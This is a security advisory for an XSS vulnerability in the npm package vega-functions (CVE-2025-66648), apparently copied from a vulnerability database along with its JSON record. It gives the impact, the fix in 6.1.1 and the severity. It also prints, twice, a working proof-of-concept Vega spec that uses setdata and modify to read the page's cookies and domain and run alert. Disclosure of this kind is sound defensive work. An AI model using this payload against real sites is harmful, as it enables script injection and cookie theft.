GHSA-M9RG-MR6G-75GM

Vulnerability from github – Published: 2026-01-05 22:58 – Updated: 2026-01-06 15:51
VLAI?
Summary
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
Details

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}
Severity ?
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vega-functions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T22:58:07Z",
    "nvd_published_at": "2026-01-05T22:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega\u0027s expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata(\u0027table\u0027,[[\u0027Domain: \u0027+event.dataflow._el.ownerDocument.domain+\u0027 , cookies: \u0027+ event.dataflow._el.ownerDocument.cookie ]])+warn(\u0027XSS is here\u0027, modify(\u0027table\u0027,2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{\u0027tttt\u0027:\u0027yyyy\u0027}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```",
  "id": "GHSA-m9rg-mr6g-75gm",
  "modified": "2026-01-06T15:51:53Z",
  "published": "2026-01-05T22:58:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66648"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vega/vega"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`vega-functions` vulnerable to Cross-site Scripting via `setdata` function"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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